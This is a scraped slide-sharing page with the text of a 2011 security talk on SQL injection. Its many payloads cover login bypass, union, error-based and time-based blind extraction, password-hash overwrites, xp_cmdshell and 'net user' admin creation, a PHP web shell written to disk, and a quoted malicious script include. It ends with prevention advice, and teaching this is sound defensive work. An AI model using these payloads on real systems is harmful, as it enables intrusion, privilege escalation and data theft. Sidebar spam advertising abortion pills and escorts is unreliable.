Web開発の技術選び、 好き嫌いでやってませんか  〜技術選びで注目すべきポイントとは〜Web開発の技術選び、 好き嫌いでやってませんか  〜技術選びで注目すべきポイントとは〜
Web開発の技術選び、 好き嫌いでやってませんか 〜技術選びで注目すべきポイントとは〜
 
Hackers vs developers
Hackers vs developersHackers vs developers
Hackers vs developers
 
Sql Injection V.2
Sql Injection V.2Sql Injection V.2
Sql Injection V.2
 
Making Web Development "Secure By Default"
Making Web Development "Secure By Default" Making Web Development "Secure By Default"
Making Web Development "Secure By Default"
 
Drupal Security Seminar
Drupal Security SeminarDrupal Security Seminar
Drupal Security Seminar
 
DEF CON 27 -OMER GULL - select code execution from using sq lite
DEF CON 27 -OMER GULL - select code execution from using sq liteDEF CON 27 -OMER GULL - select code execution from using sq lite
DEF CON 27 -OMER GULL - select code execution from using sq lite
 
Security on Rails
Security on RailsSecurity on Rails
Security on Rails
 
Node azure
Node azureNode azure
Node azure
 
Ein Stall voller Trüffelschweine - (PHP-)Profiling-Tools im Überblick
Ein Stall voller Trüffelschweine - (PHP-)Profiling-Tools im ÜberblickEin Stall voller Trüffelschweine - (PHP-)Profiling-Tools im Überblick
Ein Stall voller Trüffelschweine - (PHP-)Profiling-Tools im Überblick
 
OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012
 

Último

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Último (20)

Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
A Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source MilvusA Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source Milvus
 
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot ModelNavi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Apidays Singapore 2024 - Modernizing Securities Finance by Madhu Subbu
Apidays Singapore 2024 - Modernizing Securities Finance by Madhu SubbuApidays Singapore 2024 - Modernizing Securities Finance by Madhu Subbu
Apidays Singapore 2024 - Modernizing Securities Finance by Madhu Subbu
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 

Not so blind SQL Injection

  • 1. Not so blind SQL injection Francisco G. T. Ribeiro, 2011 1
  • 2. Roadmap • Intro • Anatomy • Flavors • Demo • Developer Warnings • Prevention and Countermeasures 2
  • 3. What’s on the news today? • Mobile Security • Cyber Warfare • Security in the cloud 3
  • 4. Weapons of War time weapons <XIII bows and arrows <1980 cannons and explosives <2030 keyboards and mice ...future stones and sticks 4
  • 5. While you travel in the clouds in a galaxy close, close by... 5
  • 6. Somebody has been having WAY too much fun! 6
  • 8. targets on the web • Web server infrastructure • Web application • Web clients 8
  • 9. The Open Web Application Security Project 9
  • 10. OWASP Top 10 Web Application Security risks for 2010 10
  • 11. risk of SQL Injection in web apps Exposition HIGH Impact HIGH Ease of AVERAGE exploitation 11
  • 12. SQL Injection: WTF? true-(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()), pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))), conv(version()*(true +pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi( )-pi()- pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(), pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))), lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))), conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi() +pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()* pi (),pow(pi(),pi()))),lower(conv(ceil(pi()*pi() +pi()),pi()*pi(),pow(pi(),pi()))))) from(pass))),length(pass))) 12
  • 13. SQL Injection: #01 - Bobby Tables SELECT (user,first_name,last_name) FROM Students WHERE (user == ’$user’); 13
  • 14. SQL Injection: #01 - Bobby Tables SELECT (user,first_name,last_name) FROM Students WHERE (user == ’$user’); Robert’); DROP Table Students;-- I’ll be back... 14
  • 15. SQL Injection: #01 - Bobby Tables SELECT (user,first_name,last_name) FROM Students WHERE (user == ’$user’); Robert’); DROP Table Students;-- Prefix I’ll be back... 14
  • 16. SQL Injection: #01 - Bobby Tables SELECT (user,first_name,last_name) FROM Students WHERE (user == ’$user’); Robert’); DROP Table Students;-- Prefix Payload I’ll be back... 14
  • 17. SQL Injection: #01 - Bobby Tables SELECT (user,first_name,last_name) FROM Students WHERE (user == ’$user’); Robert’); DROP Table Students;-- Prefix Payload Suffix I’ll be back... 14
  • 18. SQL Injection: probing - baby steps •‘ • 192438901840234 089129083489023 •“ 90412301923 •% •# • ;-- • /**/ • -123 •) 15
  • 19. Developer Warning #01 handle error messages properly ERROR [TP-Processor14] portal.ExceptionHelper.[] Aug/11 22:57:06 - org.jasig.portal.PortalException: java.sql.SQLException: ORA-00933: SQL command not properly ended Database Results Error Description: Erro de sintaxe na expressão de consulta '(Titulo LIKE '%'%' OR Descricao LIKE '%'%')'. Number: -2142216900 (0x81041E14) Source: Microsoft JET Database Engine Received an exception: Error: SQLException java.sql.SQLException: ORA-01756: quoted string not properly terminated 16
  • 20. What flavors? • Inband (Reflected) • Out-of-band • Inferential (Blind) 17
  • 21. SQL Injection: the claws • groundspeed (Firefox extension) • Tamper Data (Firefox extension) • Firebug (Firefox extension) • Hackbar (Firefox extension) • Hacker Firefox 18
  • 22. Developer Warning #02 Validate your inputs do not trust in code executed in the Client side My name is Mohammed JaLaScript and I swear validation should be done I’m innocent! Server side 19
  • 23. SQL Injection: the blades • sqlmap • sqlbrute • absinthe • BSQLBD • bsqlishell • sqlninja • sql power injector 20
  • 24. SQL Injection: the shotguns • burp suite • Netsparker • WebInspect • Acunetix Web Vulnerability Scanner • Webscarab • w3af 21
  • 25. SQL Injection: the dojos • OWASP webgoat • Hacme series from Foundstone • Damn Vulnerable Web App • BadStore • Multillidae 22
  • 26. what can you do with SQL injection? • information disclosure • remote file inclusion • authentication bypass • cross site scripting • execute remote • DNS hijacking commands • massive malware • data corruption diffusion • denial of service • privilege escalation 23
  • 27. Authentication bypass #02 - RitsBlog In jobs.php:   if ($_GET[j] == "login"){ if ($blog -> login($_GET[p])){ $_SESSION[loggedin] = "ok"; $_SESSION[userID] = $blog -> userID; echo "Password found. Loging in..."; ...   In ritsBlogAdmin.class.php:   function login($password){ global $db; $sql = "select * from users where secretWord = '$password'"; ... } http://www.site.com/path/blogAdmin/jobs.php? j=login&p=1'or'1'='1 24
  • 28. Tautology based SQL injection • ') or '1'='1-- • admin' -- • ') or ('1'='1-- • admin' # • having 1=1 • admin'/* • Group By ID having • ' or 1=1-- 1=1 • ' or 1=1# • a very big number • ' or 1=1/* • ... 25
  • 29. Authentication bypass #03 - CS Cart (cookies) In /core/user.php:   if (fn_get_cookie(AREA_NAME . '_user_id')) { $udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login, membership_status, membership_id FROM $db_tables[users] WHERE user_id='".fn_get_cookie(AREA_NAME . '_user_id')."'        AND password='".fn_get_cookie(AREA_NAME . '_password')."'");         fn_define('LOGGED_VIA_COOKIE', true); } Cookie: cs_cookies[customer_user_id]=1'/*; 26
  • 30. Malware Inclusion #04 - United Nations <option value="index.asp?OrgID=71">Department of Peacekeeping Ope<script src=http:// www.nihaorr1.com/1.js></script></option> 27
  • 31. One browser, many holes 28
  • 32. One browser, many holes • JavaScript • PDF • SAMBA client • Flash • Images • widgets crazyness • Java • Shockwave • RSS/ATOM • Silverlight • CSS • RTF • ActiveX • Realplayer • AJAX • HTML 4 • h.264/MPEG/AVI/WMV • download manager • HTML 5 • SVG • keychain manager • RDF • browser extensions • file manager • WebDAV • bookmarklets • mail client • SOAP • FTP/SFTP client • XML non sense 28
  • 33. Data corruption #05 - PBS.org defacement (fake Tupac article) 29
  • 36. What channels allow SQL Injection? 31
  • 37. What channels allow SQL Injection? • HTTP methods GET/POST • HTTP headers • AJAX • JSON • XML • SOAP • Cookies • ... 31
  • 38. Union based #06 - juventud.gov.ar -7 UNION SELECT 1,2,version(), 4,user(),database(),7,8,9,10,11,12,13 32
  • 39. Union based #06 - juventud.gov.ar -7 UNION SELECT 1,2,version(), 4,user(),database(),7,8,9,10,11,12,13 32
  • 40. Union based #06 - juventud.gov.ar 32
  • 41. Union based SQL Injection - dirty tricks getting the number of columns in the selection http://example/index.php?id=1 ORDER BY 1-- http://example/index.php?id=1 ORDER BY 2-- http://example/index.php?id=1 ORDER BY 3-- http://example/index.php?id=1 ORDER BY 4-- http://example/index.php?id=1 ORDER BY 5-- http://example/index.php?id=1 ORDER BY 6-- ... 33
  • 42. Union based SQL Injection - dirty tricks MySQL: Unknown column 'NUM' in 'order clause' PostgreSQL: ORDER BY position NUM is not in select list Microsoft SQL Server: The ORDER BY position number NUM is out of range of the number of items in the select list Oracle: ORA-01785: ORDER BY item must be the number of a SELECT-list expression 34
  • 43. Union based SQL Injection - dirty tricks testing datatypes string/int MySQL isolate • 1 UNION select 1,’2’,3,’4’,5,6,7,8 contents avoid • -1 UNION select 1,2,version(),4,user(),database(),7,8 distinct selections • -1 UNION ALL select NULL,NULL,version(),NULL,user(),database(),NULL,NULL • -1 UNION ALL select NULL,NULL,NULL,NULL, NULL,UNHEX(HEX(version())),NULL,NULL-- avoid avoid extra collations SQL mess conflicts 35
  • 44. Union based SQL Injection - dirty tricks MySQL • -1 UNION ALL select 1,2,table_name from avoid information_schema.tables incompatible types • -1 UNION ALL select NULL,NULL,table_name from information_schema.tables • -1 UNION ALL select 1,2,column_name from information_schema.columns limit 0,1 avoid single limit 1,1 record view restriction limit 2,1 you may also try group_concat() for multiple rows as a string 36
  • 45. Union based SQL Injection - dirty tricks MySQL • -7 union all select 1,2,concat(username,0x3a,password)from admin/* • -7 union all select 1,2 concat(user,0x3a,pass,0x3a,email) from users/* concat is your friend 37
  • 46. Developer Warning #03 filtering and blacklisting are weak SELECT/**/password/**/FROM/**/Members strings without white spaces string without quotes SELECT+password+FROM+Members SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) SELECT LOAD_FILE(0x633A5C626F6F742E696E69) SeLeCt blacklisted words SELSELECTECT these count as SELECT too! %53%45%4c%45%43%54 %2553%2545%254c%2545%2543%2554 38
  • 47. Developer Warning #04 filtering and blacklisting are weak You’re the weak! • ModSecurity • PHPIDS • GreenSQL • ... suggested reading: SQLi filter evasion and obfuscation by Johannes Dahse, Prague, Czech Republic 39
  • 48. Error based SQL Injection SQL Server • http://[site]/page.asp?id=1 or 1=convert(int,(USER))-- Syntax error converting the nvarchar value '[DB USER]' to a column of data type int. • http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME))-- Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int. • http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION))-- Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int. • http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME))-- Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int. 40
  • 49. Error based SQL Injection - dirty tricks avoid quote filtering SQL Server • http://[site]/page.asp?id=convert(int,(select top 1 name from sysobjects where xtype=char(85)))-- Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int. • http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and name <>'TABLE-NAME-1'))-- avoid single record view restriction Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data type int. • http://[site]/page.asp?id=1  or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and name <>'TABLE-NAME-1' and name <>'TABLE- NAME-2'))-- Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data type int. 41
  • 50. Error based SQL Injection SQL Server knowing DB_NAME and TABLE-NAME... • http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'))-- Syntax error converting the nvarchar value '[COLUMN NAME  1]' to a column of data type int. ... 42
  • 51. Stacked Statements SQL Injection Bypassing authentication and escalating privileges (schema/DBMS dependant) • z'; UPDATE Login SET PasswordHash ='0fa5fed80fc582282430f9a79cb2669e', Salt = 'Daniels' WHERE login = 'BigCatAccount'-- Jack • y'; UPDATE Login SET ProfileID = 1 WHERE login = 'MyAccount' --      • z'; UPDATE Login SET EmailAddr ='francisco@ironik.org' WHERE login = 'BigCatAccount'-- 43
  • 52. Stacked Statements SQL Injection Bypassing authentication and escalating privileges (schema/DBMS dependant) suggested reading: Advanced SQL Injection by Joe McCray, Learn Security Online 43
  • 53. Second Order SQL Injection PHP Basic School injection doesn’t occur at student registration form the same time of execution ‣ User: Robert’); DROP TABLE Students;-- ‣ Birthday: 11/02/87 ‣ Phone: 931231631 ‣ Email: bobby’); DROP TABLE google_emails;--@gmail.com 44
  • 54. Second Order injection doesn’t occur here, yet.. SQL Injection registration successful user Robert’); DROP TABLE Students;-- successfully created! 45
  • 55. SQL Injection: there goes #01 - Bobby Tables listing students SELECT (user,first_name,last_name) FROM Students WHERE (user == ’$user’); told ya. 46
  • 56. SQL Injection: there goes #01 - Bobby Tables listing students SELECT (user,first_name,last_name) FROM Students WHERE (user == ’$user’); suggested reading: Advanced SQL Injection In SQL Server Applications Chris Anley, NGSSoftware told ya. 46
  • 57. Remote command execution (DBMS dependent) • '; exec master..xp_cmdshell 'ping 192.168.1.8'-- ”<? system($_GET['cmd']); ?>" tcpdump icmp • UNION SELECT 0x3c3f2073797374656d28245f4745545b 27636d64275d293b203f3e,2,3 INTO OUTFILE "/var/www/cmd.php" -- 47
  • 58. Remote command execution (DBMS dependent) net user [USER] [Pass] /add & net Localgroup Administrators [USER] /add & net group "Domain Admins" [USER] /add & net localgroup "Remote Desktop Users" [USER] /add & reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccounts UserList" /v [USER] /t REG_DWORD /d 0 47
  • 59. Remote command execution • Bruteforce the 'sa' password and escalate privileges using local or remote server CPU! • Upload bindshells that will only start on a port allowed by the firewall, either inbound or outbound • Create a VNC server packed as an injectable DLL, convert it to a debug script and upload it • Disable DEP, if needed! • Start the executable, inject the DLL and have fun! 48
  • 60. Remote command execution • Bruteforce the 'sa' password and escalate privileges using local or remote server CPU! • Upload bindshells that will only start on a port allowed by the firewall, either inbound or outbound • Create a VNC server packed as an injectable DLL, convert it to a debug script and upload it suggested reading: • Disable DEP, if needed! Building the bridge between the web app and the OS: • Start the executable, “GUI access through SQL Injection”, inject the DLL and have fun! Alberto Revelli, Portcullis Computer Security 48
  • 61. information disclosure/ bypassing authentication (DBMS dependent) • select user,pass into outfile ‘ attacker_shareoutput.txt’ from users; • select load_file(‘/etc/passwd’) 49
  • 62. Developer Warning #05 least privilege, user segregation I’m root so I MUST be the King! 50
  • 63. Blind SQL Injection • (In)visibility testing • time delay 51
  • 64. Blind SQL Injection • (In)visibility testing • time delay 51
  • 65. Blind SQL Injection (In)visibility testing • http://[site]/news.php?id=112 • http://[site]/news.php?id=112 and 1=2 • http://[site]/news.php?id=112 and 1=1 • http://[site]/news.php?id=112 and IF(XXX) 52
  • 66. Blind SQL Injection Time delay MySQL v4: • http://[site]/news.php?id=112; IF(XXX) BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))-- MySQL v5: • http://[site]/news.php?id=112; IF(XXX) SLEEP(5)-- Microsoft SQL Server: • http://[site]/news.php?id=112; IF(XXX) WAITFOR DELAY ‘0:0:5’-- 53
  • 67. Blind SQL Injection getting DB_NAME() length • ;IF(LEN(DB_NAME())=1) WAITFOR DELAY '0:0:5'-- • ;IF(LEN(DB_NAME())=2) WAITFOR DELAY '0:0:5'-- • ;IF(LEN(DB_NAME())=3) WAITFOR DELAY '0:0:5'-- • ;IF(LEN(DB_NAME())=4) WAITFOR DELAY '0:0:5'-- • ;IF(LEN(DB_NAME())=5) WAITFOR DELAY '0:0:5'-- 54
  • 68. Blind SQL Injection getting DB_NAME() sql query ;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'-- 55
  • 69. Blind SQL Injection getting DB_NAME() SUBSTRING ( value_expression , start_expression , length_expression ) sql query ;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'-- 55
  • 70. Blind SQL Injection getting DB_NAME() SUBSTRING ( value_expression , start_expression , length_expression ) sql query 1 ;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'-- =49 =50 =... =122 55
  • 71. Blind SQL Injection getting DB_NAME() SUBSTRING ( value_expression , start_expression , length_expression ) sql query position in ASCII table 2 1 ;IF(ASCII(substring((DB_NAME()),1,1))=48) WAITFOR DELAY '0:0:5'-- 2 =49 3 =50 . =... position in string N =122 LEN(DB_NAME()) 55
  • 72. Blind SQL Injection getting DB_NAME() optimization 1 optimization 2 2 1 ;IF(ASCII(lower(substring((DB_NAME()),1,1)))>97) WAITFOR DELAY '0:0:5'-- 2 >110 3 >105 . =106 N =... =109 LEN(DB_NAME()) 56
  • 73. Blind SQL Injection getting DB_NAME() splitting target domain by 2 (think of quicksort) 2 1 ;IF(ASCII(lower(substring((DB_NAME()),1,1)))>94) WAITFOR DELAY '0:0:5'-- 2 <110 3 <105 . =106 N =... =109 prioritize most frequent chunks of ASCII table in the target language 57
  • 74. Blind SQL Injection listing table names • ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=117) WAITFOR DELAY '0:0:2'-- • ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name<>'TABLE- NAME-1'),1,1)))=117) WAITFOR DELAY '0:0:2'-- ... 58
  • 75. Blind SQL Injection listing table names • ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where 2 1 xtype=char(85)),1,1)))=117) WAITFOR DELAY '0:0:2'-- • ; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85) and name<>'TABLE- 2 1 NAME-1'),1,1)))=117) WAITFOR DELAY '0:0:2'-- ... 58
  • 76. Blind SQL Injection listing column names (or any other table) • ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns where table_name='TABLE-NAME'),1,1)))=117) WAITFOR DELAY '0:0:5'-- • ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns where table_name='TABLE-NAME' AND column_name <> ‘COLUMN-NAME-1’), 1,1)))=117) WAITFOR DELAY '0:0:5'-- ... 59
  • 77. Blind SQL Injection listing column names (or any other table) • ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from row DB-NAME.information_schema.columns 2 1 table where table_name='TABLE-NAME'),1,1)))=117) WAITFOR DELAY '0:0:5'-- • ; IF (ASCII(lower(substring((SELECT TOP 1 column_name from DB-NAME.information_schema.columns field denial where table_name='TABLE-NAME' 2 AND column_name <> ‘COLUMN-NAME-1’), 1 1,1)))=117) WAITFOR DELAY '0:0:5'-- ... 59
  • 78. Blind SQL Injection with Regular Expressions MySQL - listing table names • index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1) • index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-g]' LIMIT 0,1) • index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-n]' LIMIT 0,1) • index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-l]' LIMIT 0,1) • index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^m' LIMIT 0,1) • index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) 60
  • 79. Blind SQL Injection with Regular Expressions The first character of the table is 'n'. But are there other table names starting with 'n'? • index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 1,1) that’s our move 61
  • 80. Blind SQL Injection with Regular Expressions now on we must change the regular expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE you can confirm by testing: '^news$' 62
  • 81. Blind SQL Injection with Regular Expressions now on we must change the regular expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE you can confirm by testing: '^news$' suggested reading: Blind Sql Injection with Regular Expressions Attack, R00T_ATI & white_sheep, IHTeam 62
  • 82. Deep Blind SQL Injection 2 requests -> one byte DECLARE @x as int; DECLARE @w as char(6); SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohe xstr(CAST(QUERY"as varbinary(8000))),POSITION",1)); IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48; SET @w='0:0:'+CAST(@x*SECONDS"as char); WAITFOR DELAY @w 63
  • 83. Deep Blind SQL Injection 2 requests -> one byte DECLARE @x as int; DECLARE @w as char(6); SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohe xstr(CAST(QUERY"as varbinary(8000))),POSITION",1)); IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48; SET @w='0:0:'+CAST(@x*SECONDS"as char); WAITFOR DELAY @w suggested reading: Deep Blind SQL Injection, Ferruh Mavituna, Portcullis Computer Security 63
  • 84. Deep Blind SQL higher frequency smaller delays Injection SQL Server 2 requests -> one byte (avg <6 secs) SELECT CASE WHEN ASCII(lower(substring((SQL Query), Position, 1))) <94 ! THEN WAITFOR DELAY '0:0:6' -- WHEN ASCII(lower(substring((SQL Query), Position, 1))) <100 ! THEN WAITFOR DELAY '0:0:1' -- WHEN ASCII(lower(substring((SQL Query), Position, 1))) <105 ! THEN WAITFOR DELAY '0:0:2' -- WHEN ASCII(lower(substring((SQL Query), Position, 1))) <111 ! THEN WAITFOR DELAY '0:0:3' -- WHEN ASCII(lower(substring((SQL Query), Position, 1))) <117 ! THEN WAITFOR DELAY '0:0:4' -- WHEN ASCII(lower(substring((SQL Query), Position, 1))) <123 ! THEN WAITFOR DELAY '0:0:5' -- 64
  • 85. Deep Blind SQL Injection SQL Server 2 requests -> one byte (avg <6 secs) knowing it’s in range 100:104... SELECT CASE WHEN ASCII(lower(substring((SQL Query), Position, 1))) =100 ! THEN WAITFOR DELAY '0:0:1' -- WHEN ASCII(lower(substring((SQL Query), Position, 1))) =101 ! THEN WAITFOR DELAY '0:0:2' -- WHEN ASCII(lower(substring((SQL Query), Position, 1))) =102 ! THEN WAITFOR DELAY '0:0:3' -- WHEN ASCII(lower(substring((SQL Query), Position, 1))) =103 ! THEN WAITFOR DELAY '0:0:4' -- WHEN ASCII(lower(substring((SQL Query), Position, 1))) =104 ! THEN WAITFOR DELAY '0:0:5' -- 65
  • 86. SQL injection techniques • Stacked statements • Tautology based • Union based • Error based • Second Order • Blind 66
  • 87. SQL injection techniques • Stacked statements • Tautology based • Union based • Error based suggested reading: SQL Injection, • Second Order Classification of SQL Injection Attacking Vector, till 2010, Wikipedia • Blind 66
  • 88. Developer Warning #06 ORMs are not bulletproof Hibernate (HDL): Payment payment = (Payment) session.find("from com.example.Payment as payment where payment.id = " + paymentIds.get(i)); injectable! 67
  • 89. Developer Warning #07 Keep it simple, not stupid 68
  • 90. SQL injection: countermeasures • avoid internal details on error reporting • Use Web • segregate users Applicational Firewall • use No-SQL • Limit web server/ database perms 69
  • 91. Developer Warning #08 when less is more 70
  • 92. How to prevent SQL Injection attacks? • Sanitize the input • input whitelisting • Use prepared statements • Use stored procedures 71
  • 93. Prepared Statements aka Parameterized queries (Java) String sqlquery = "select * from Students where FirstName " + "in(?,?,?)";   pst = con.prepareStatement(sqlquery);   pst.setString(1, "John"); pst.setString(2, "Achmed");   pst.setString(3, "Gremlin");   rs = pst.executeQuery(); 72
  • 94. References • SQLi filter evasion and obfuscation by Johannes Dahse, Prague, Czech Republic • Advanced SQL Injection by Joe McCray, Learn Security Online • Advanced SQL Injection In SQL Server Applications, Chris Anley, NGSSoftware • Building the bridge between the web app and the “GUI access through SQL Injection”,Alberto Revelli, Portcullis Computer Security • Blind Sql Injection with Regular Expressions Attack, R00T_ATI & white_sheep, IHTeam • Deep Blind SQL Injection, Ferruh Mavituna, Portcullis Computer Security 73
